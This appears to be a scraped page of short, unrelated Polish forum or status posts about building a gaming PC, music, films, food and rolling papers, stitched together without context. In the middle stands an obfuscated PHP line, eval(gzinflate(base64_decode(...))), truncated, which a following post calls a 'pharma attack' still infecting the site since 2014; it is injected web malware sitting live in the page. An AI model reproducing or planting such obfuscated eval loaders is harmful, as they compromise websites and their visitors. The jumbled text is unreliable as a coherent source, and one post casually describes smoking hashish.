Kłerwah, składam latorośli kompa do grania. Rozlozylem wszystkie czesci oraz narzedzia zamontowałem płytę, stockowego coolera celnym kopem umiescilem w śmietniaczku, chwyciłem za znacznie wiekszego i o wiatraku o 120mm srednicy Scythe a tu sie okazało, że nie mam pasty termo ;__;
Co moge użyć zamiast? A moze zdrapać ta ze stoka?
Ja słucham szybko i dokładnie jak Death, głośno jak Cannibal Corpse, skocznie jak Percival Schuttenbach, energicznie jak Helloween, monumentalnie jak Behemoth, operowo jak Nightwish, w opętaniu jak Dimmu Borgir i najchętniej po polsku jak Kat.
XD
Terminator Genisys - kolejny film, którego jedynym zadaniem jest zresetowanie historii przez wykorzystanie podróży w czasie...
chińczyk, hindus czy jednak kebab?
Ino szybko bom głodny a ośrodek decyzyjny jakoś nie teges.
[edit] He, he, he.
BTW jest nowa zagadka w kłizie filmowym
PISSS V
You know why there are a bunch of Chuck Norris jokes and no Bruce Lee jokes? Because Bruce Lee ain't no fucking joke!
Nowe Rizla Micron - całkiem zacne papiery, bardzo cienkie, minimalna ilość dymu, ledwo wyczuwalne w blancie. Z drugiej strony nie działają z solidami, więc jak nie lubita wypalonych haszem dziurek to albo podwójna zawijka, albo lepiej zawijać w czerwone.
WTF is this bullshit...
<?php eval(gzinflate(base64_decode('lVltc9pIEv7MVd1/UCjFSDEGSYBtYstONnF2t+qyyRFyVVdxlhrECLQWklYSBGLlv9/TPRLIb3d7qQSGme6efu+eTuBrxrOZ9INIzoyWny7fZi3TvP373xpqs9rT2rZ5hl2ZpnE6SWUSp3kQzQ2Ld3HgryIvD+JIA43JLNQMfZWGpkaUGgEuqc4nchNkeWa0PJxPgijIcZ8Ca+jeQnO13YEiQbc2GryZyTxOcgNgbe3N59E/PnwcT0ZX48+j38aj1799enc1amuKzUZDj1d5RUxupAeGvAUzq/hhgpAmivlAe+a6mmVqJZovwkzWbvbCOJM1Ej80CQDttgR/5QehnMxlPvHiKJcR5GPxz34Q86nMV2mk5WmwNAiBuaAT/K3UwmrzUpIuiFj/DT0I3SxPQxnx3pkeu60W8+THKXgJIJ51puH7HB8hrQ4PSYKOCxpf9OCr9rvWeqFQSh70mAg8djeY94S3kIaeL5NZkLb1MIhu2rq3zIOlbOt5LF3WSsmcj9tL0E6rm8ksm7Q6y9nASFI5JwcJhSeNVvf3RZ4nL6+7190vv193vx52W22thX9M3lQG0X0JaqzD0jt0X50EvvGMTotCIzYMUztiOGbKAJR2oR1b2gut5NMkf...
Tzn. wiem, pierdolony pharma attack ;__;
2014 i dalej infekuje...
The Theory of Everything - mocny film, odrobinę za bardzo melodramatyczny jak na mój gust, ale i tak świetnie się ogląda. Hawking mimo konieczności zmagania się z chorobą i całkowitego unieruchomienia został jednym z najbardziej wpływowych umysłów ostatnich dziesięcioleci i zrobienie filmu o nim i jego niezwykłym życiu było niemal naturalną koleją rzeczy.